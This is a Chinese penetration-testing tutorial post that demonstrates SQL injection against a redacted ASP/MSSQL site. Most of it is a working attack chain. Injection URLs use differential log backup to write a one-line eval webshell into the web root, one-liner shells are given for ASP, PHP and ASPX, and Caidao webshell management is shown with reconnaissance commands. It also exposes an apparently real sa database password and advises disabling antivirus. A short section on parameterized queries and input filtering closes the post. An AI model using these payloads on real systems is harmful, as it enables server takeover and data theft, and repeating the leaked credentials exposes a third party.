这是最近学习渗透和网站攻防的文章,前面文章从数据库原理解读了防止SQL注入、SQLMAP的基础用法。这篇文章主要讲解数据库知识之差别备份及强大的利器Caidao。但愿能深刻地学习这部分知识,本身做为一个初学者,在慢慢探索网络攻防和渗透。同时,但愿文章对你有所帮助,尤为是学习网络安全的初学者,错误或不足之处还请海涵~php
一.数据库之差别备份
1.差别备份
2.手动上传
二.Caidao基础用法
1.文件管理
2.数据库管理
3.虚拟终端
三.防护措施
1.参数化查询
2.基础防护措施
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
html
推荐文章:
http://www.jianshu.com/p/f0797a485779
SQL参数化查询 - zyw_anquan
python
1.差别备份程序员
数据备份主要分位彻底备份、增量备份和差别备份。其中差别备份是指备份自上一次彻底备份以后有变化的数据,在差别备份过程当中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。正则表达式
这里的总体流程是先备份日志,而后插入一句话Muma;再次备份时,数据库只会备份两次间隔中的差别,使得生成出来的文件尽量小,故称为“差别备份”。sql
前面的文章获取了数据库的名称:
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --
输出结果以下所示:
附件1:AYD
附件2:Microsoft SQL Server....
附件3:ahykd_new
其中MSSQL数据库的名称就是ahykd_new,接下来相同的道理获取数据库全部表及列。
同时获取了登陆名、密码等,这里再也不介绍,下面详细介绍差别备份。
shell
(1) 修改数据库设置为恢复模式
http://xxxxx/show.asp?code=-1'
alter database ahykd_new set RECOVERY FULL --
彻底恢复模式是默认的恢复模式。在彻底恢复模式下,须要手工的对事务日志进行管理,优势是能够恢复到数据库失败或者指定的时间点上。
(2) 备份当前数据库日志到文件
http://xxxxx/show.asp?code=-1'
backup log ahykd_new to disk='C:\windows\temp\temp0720' with init --
备份数据库日志到服务器上,其中路径表示服务器的。
重点:路径不能太显眼,好比"C:\0720"这样。
(3) 创建一张表和一个字段
http://xxxxx/show.asp?code=-1'
create table tt(a text)--
(4) 往表中插入一句话Muma
http://xxxxx/show.asp?code=-1'
insert into tt(a) values('<%eval request("Shsh") %>') --
一句话Muma插入到数据库tt表的a字段中,执行接收自定义Shsh参数,相似于URL的Code参数,至关因而一个侧门,第二部分Caidao会使用到。
数据库
asp: <%execute(request("value"))%> php: <?php @eval($_POST[value]);?> aspx: <%eval(Request.Item["value"])%>(5) 再次备份日志
此时,数据库差别备份的漏洞已经弄好,后面介绍Caidao利器。
windows
2.手动上传
前面获得数据库登陆的用户名和密码后,就能够手动登陆,而后找到上传文件地方。
index0.asp文件代码为:<%eval request("Shsh") %>
而后利用Caidao利器能够进行拿站,问题是如何防护这些漏洞,请看第三部份内容。安全
1.登陆Caidao
首先关闭安全软件及实时防御,以下图所示。
下面介绍它强大的三个功能文件管理、数据库管理和虚拟终端,右键URL以下。
2.文件管理
网站文件管理,显示服务器Webshell,远程访问服务显示wwwroot以下图所示。包括了常见的上传、下载、编辑、删除、复制重命名及改变文件时间戳等。
前面的差别备份,咱们经过SQL语句在服务器E盘上传了一个index0.asp文件。
backup log ahykd_new to disk='e:\NewsReport\index0.asp
能够在文件管理找到该文件,并下载到本地(因原网已修复,写文前未截图),能够经过Notepad++打开,虽然乱码不少,但能够搜索看到 <%eval request("Shsh") %> 这句代码。同时,备份服务器该帐户没有写入权限,只能查看网站的内容及代码等。
3.数据库管理
Caidao支持各类数据库,包括MYSQL、MSSQL、ORCALE、ACCESS等,数据库管理主要是内置的管理数据库模块,可以实现数据库的查询语句、显示表名、列名。
前提:须要知道数据库的配置信息,能够从两个方面得到。
(1) 前面两篇文章经过SQL语句已经查到了数据库配置信息,即:
数据库 用户 密码
回顾:第一篇 手工SQL注入方法
http://xxxxx/show.asp?code=-1' union all select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 -- 输出结果以下所示: 附件1:AYD 附件2:Microsoft SQL Server.... 附件3:ahykd_new 其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库全部表及列。回顾:第二篇 SQLMAP方法
<add key="ConnectionString" value="Data Source=(local);DataBase=ahykd_new;User Id=sa;Password=xbs660818"/>即:数据库ahykd_new,用户名sa,密码xbs660818。
显示数据库以下所示:
4.虚拟终端
虚拟终端是模拟Windows下的CMD命令窗口,若是服务器是Linux就是shell窗口。以下图所示,常见命令:
(1) whoami 查看当前用户的权限;
(2) net user 查看当前计算机上的用户;
(3) net localgroup administrators 查看当前计算机上管理员的用户;
(4) ipconfig 查看计算机的网卡ip等信息,详细信息在后面加个 /all 查看;
(5) dir 查看当前目录的文件,后加个路径可查看目标文件夹的文件 dir c: \;
1.参数化查询
推荐阅读《SQL注入攻击与防护 第2版》做者:Justin Clarke。
PS:这部分参考网上,你可能也返现了这些列文字主要是攻击,防护是让它变白,后面几个月深刻研究后会结合实际详细讲解,但仍是推荐上面那本书。
参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库连接并访问数据时,在须要填入数值或数据的地方,使用参数 (Parameter) 来给值,这个方法目前已被视为最有效可预防SQL注入攻击 (SQL Injection) 的攻击手法的防护方式。
有部份的开发人员可能会认为使用参数化查询,会让程序更很差维护,或者在实现部份功能上会很是不便,然而,使用参数化查询形成的额外开发成本,一般都远低于由于SQL注入攻击漏洞被发现而遭受攻击,所形成的重大损失。
原理:在使用参数化查询的状况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,所以就算参数中含有具备损的指令,也不会被数据库所运行。
下面一段引用大神 何静媛 的博客,强推你们阅读她的博客。
参数化查询就是咱们写好须要的参数,而后直接给参数赋值,这就比如是一个sql的框架。sql查询的时候会进行参数分析,若是分析的结果是咱们曾使用过这样的框架,那么sql会重用查询计划,不然会从新生成一个查询计划,固然此时的sql的语义确定是发生了变化,这时咱们就能够很好的防止注入的发生。例如:
SELECT * FROM myTable WHERE myID = @myID INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)(2) MySQL
UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4(3) Oracle
UPDATE myTable SET c1 = :c1, c2 = :c2, c3 = :c3 WHERE c4 = :c4(4) PostgreSQL
UPDATE myTable SET c1 = $1, c2 = $2, c3 = $3 WHERE c4 = $4
2.基础防护措施
参考前文,我的理解的防护措施:
1.在URL设置不容许非法字符,如单引号、等号、注释--、减号,提示非法参数;
2.在URL设置不容许SQL常见的关键词,如and、select、or、insert等;
3.传递的id=115参数必须为数字才能正常跳转,不然跳转错误;
4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,由于可能经过POST、Cookies进行攻击,各方面都须要作到防护。
5.可使用JS在客户端进行不安全字符屏蔽,也能够在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。